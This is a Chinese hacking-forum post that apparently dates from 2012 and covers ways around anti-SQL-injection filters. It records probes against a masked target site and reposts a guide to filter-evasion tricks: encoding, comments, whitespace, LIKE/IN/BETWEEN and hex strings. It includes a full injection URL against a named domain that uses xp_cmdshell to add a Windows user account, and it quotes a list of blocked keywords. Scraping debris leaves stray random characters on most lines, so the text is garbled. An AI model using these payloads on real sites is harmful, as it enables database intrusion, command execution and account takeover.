找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2354|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.  p0 i" ^% b" x0 @8 `+ Q- ]3 \
http://www.xxx.cn/Article.asp?ID=117 and 1=1& u# D$ u: F7 ^1 R- k3 k
直接返回主页
( r5 A5 s5 b. @5 p2 shttp://www.xxx.cn/Article.asp?ID=117 or 1=1
  u+ o8 X1 p' p+ v& p" ?  d$ t$ S5 q直接返回主页: r! I. T' w% c, T5 I* H5 T; E- u
http://www.xxx.cn/Article.asp?ID=117 or
5 {+ H$ T2 [1 ]" I, T没有返回主页 没有过滤or
6 u5 m* ]% T; _) V4 ^  C$ Qhttp://www.xxx.cn/Article.asp?ID=117 and
  q* I, u$ f7 {! m直接返回主页 看来过滤了and1 \+ j! x& O, V3 P. @$ @
http://www.xxx.cn/Article.asp?ID=117 or 16 Z0 c! E2 T, V+ M
没有返回主页 即没有过滤or 也没有过滤1
* _8 c4 W+ K2 D; k$ V- zhttp://www.xxx.cn/Article.asp?ID=117 or 1=13 z7 ?. v1 y, b
直接返回主页 很明显过滤了等号 - K% |- N0 y. z2 T. l
or的特性是与and相反的.# n9 X: n: J# O; h
or 1=1 爆错 或与原页面不同
  w, Y* D+ m* B$ \or 1=2 原页面相同- G; @6 W9 M9 N7 u8 D9 G' U! g
这样就是一个注入点
$ w1 V) P  E% ?, z, i1 l/ y但他过滤了=号 我就用><号代替=号吧!% D5 _) f; U0 h6 b# L
or 1<2 很明显是正确的,所以应该与原页面不同
2 W0 _7 A, [: x( ~" ?8 Aor 1>2 很明显是错误的,所以应该与原页面相同+ [1 H7 W; B0 {+ q
然后看看有没有过滤其他的查询语句,比如select." F7 c4 W1 `- }" }/ \; l% }" j& ?
http://www.xxx.cn/Article.asp?ID=117 select
  L* F. ?  ]' r4 {& L: Q* P3 K直接返回主页
8 u0 x7 U# }6 K7 m7 w' p又迷茫了..
  n, k' `' E7 ?- Y# i. p: Y, `5 |( E" h$ t6 }; L
8 U6 t; `# j$ H
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
! O8 h/ i5 b: u& ~这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)4 O. L8 O0 m6 s+ Z
================================================- G: P. q. `, B$ K6 O; T
以下是转贴:
+ k, m4 Q! M+ V$ b2 R( B8 B  v" h. E
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… ' W$ K3 j7 {% P  o
经过我的收集,大部分的防注入程序都过滤了以下关键字:
  |/ z. h0 o% band | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
2 j# f8 F( Y: A) W' w而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
7 e) |& D9 F& g- e对于关键字的过滤,以下是我收集的以及我个人的一些想法。
  ?: l) M, W: _' a+ q: l) F% R1、运用编码技术绕过 ! n* u+ p* O' y0 a( T" T( o/ V* w, ]
如URLEncode编码,ASCII编码绕过。例如or 1=1即
9 p' b5 o  K* d0 U%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 7 D. h# A: I& L
( q; {) R+ @$ F' V
2、通过空格绕过 ) G4 W. T! `$ N5 h; U+ i( D# B
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
5 E( A7 K4 e6 Aor’ swords’ =‘swords’
1 C$ M" Z% ]4 I% h,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
0 s. h3 X5 [: \8 H. |+ o3、运用字符串判断代替
# S5 z) c4 m# i用经典的or 1=1判断绕过,如
5 o& t( ~0 a5 g" A) h, Wor ’swords’ =’swords’
6 n2 H2 S* _# @8 |% x: `/ },这个方法就是网上在讨论的。
" n# }* a, b- L+ _- T4、通过类型转换修饰符N绕过 " ?- v" ?+ G: `# P" A
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ( t2 `9 B# f* J+ J7 h3 o
5、通过+号拆解字符串绕过
: G/ }" \4 O4 O9 [) h) x+ _% g+ m6 M4 o效果值得考证,但毕竟是一种方法。如 $ t) k7 X8 y( q0 ~) @9 X" i' R9 C
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) " N: T" {2 h3 f8 @& i% \
# L4 x5 o' c# c; ?% ]! g5 u7 U
6、通过LIKE绕过 " P! S2 R' g* l7 t
以前怎么就没想到呢?如or
# k: _" b: T6 b, [’swords’ LIKE ’sw’ 2 [' O) M4 g% E: |& Q+ @3 ?
!!!显然可以很轻松的绕过
) [4 r& C0 c0 e“=”“>”
+ ]# X- G; P/ [+ c的限制…… + r0 Y8 Y* `( A% ^* s/ p* F' `
7、通过IN绕过   Z' N; s6 \6 ~/ l8 P( j: h
与上面的LIKE的思路差不多,如
7 q0 {) A8 s& A* n/ `or ’swords’ IN (’swords’) ; [- c1 L. [# g

$ w8 S% x+ s2 M+ h3 _3 U8、通过BETWEEN绕过 6 x5 Y: T5 j) h9 v  n
如 ) q0 {$ s1 s8 @
or ’swords’ BETWEEN ’rw’ AND ’tw’ ) g( A' Z+ [7 X3 d  C
7 \; G( m* A& s% p
9、通过>或者<绕过
0 F8 q1 c2 r" K1 Ior ’swords’ > ’sw’
$ n- P) R% f  t$ Q% a8 u! ]or ’swords’ < ’tw’
  }+ Y5 _/ k# y+ G$ p, Por 1<3
7 ~! D1 K# I) U& _) e( f1 C" u…… + m% r* J8 o/ P! J8 W+ O- e
10、运用注释语句绕过
$ w& L2 p0 U4 j* Z2 m用/**/代替空格,如: 1 c1 \4 n! `8 O6 J$ q! s
UNION /**/ Select /**/user,pwd,from tbluser
; @9 G  v$ @! D2 D
! W6 P; ~3 Y2 ^用/**/分割敏感词,如:
; U. W1 ^7 [$ D) N4 t" `U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 7 Q, h  Y6 T9 A- I' s; J

- D2 z2 U0 h$ Q9 C3 l- x! d, G: U11、用HEX绕过,一般的IDS都无法检测出来
9 a. `5 F% @* u7 V' q0 o0x730079007300610064006D0069006E00 =hex(sysadmin)
9 L  E9 G. e7 n& m) Y7 o; g0x640062005F006F0077006E0065007200 =hex(db_owner)
! [, h1 h' _1 ^7 D6 {另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: . a& ~. }) K) j- l7 v
  declare @a sysname 3 y4 W2 h0 H$ S( u: N; ], W
  select @a= ( e. p) `9 J; W
  exec master.dbo.xp_cmdshell @a
$ J& u0 \$ J6 i8 H* E效果
: r$ s# L: E2 _! j' n9 X. mhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
0 a1 [5 i9 [" S) c; v6 D4 D/ p8 c5 p  s: e
其中的
% u! W! J: U! B1 _0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
: [7 l, _' W+ D8 g: x' u就是
# i1 s* M' l: C" b# M“net user angel pass /add”
+ l+ ]7 H' s& h- Q" J- s2 m
$ l0 H$ U2 c6 q4 |! r' u# @% ~一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
5 i; \4 E% l, ?6 T6 T# k" H" W5 I引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
) N6 L$ b  [4 n# c( W$ c9 }另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似( Y  {9 A8 W; Z1 [5 H
Copy code' Z# R$ w# |" _6 k
select * from table exec xp_cmdshell'xxxxxxxxxx'
! V( G1 T5 u6 w: {9 }) K- }5 ]9 N3 m7 ^8 c6 R. F8 }) }

1 U4 S, O% J; K7 a7 |0 Z8 Uselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
) l. r' z4 N6 X8 j1 {" l
* Y% U- @9 k8 D( U7 w& b
( F0 ~# c$ C0 Hselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'8 ?0 D) ?# h5 ]3 W. F

- K/ K5 ~4 [# Z$ I0 J0 z: ^% w6 r" I
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'1 _  V* A) z, H. Z5 J
" q/ N0 d7 _1 c9 [- V6 @
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
) U8 B# Z! K8 A4 N" M+ e1 i- U& ]$ b' ~
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了, l+ C3 t+ }. O
可能大家早就知道了,不管怎么说,发在这里吧!" d- ?1 ~! l. C# P, Y8 B; m
0 o% f# w2 a0 F5 I
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。7 N: I+ h8 w# [5 A  ^
7 J' Z- ?, J% H6 v$ J  o

7 g. b  D, J* Z9 G
+ q2 N2 y( T  o  `1 H) q$ H5 k对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
# f( g6 o9 n. L# O% B6 a/ _比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? " a+ A9 y5 t( m% f# k, p& t! k2 F

; c0 R: d7 E: {6 T' f- C0 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表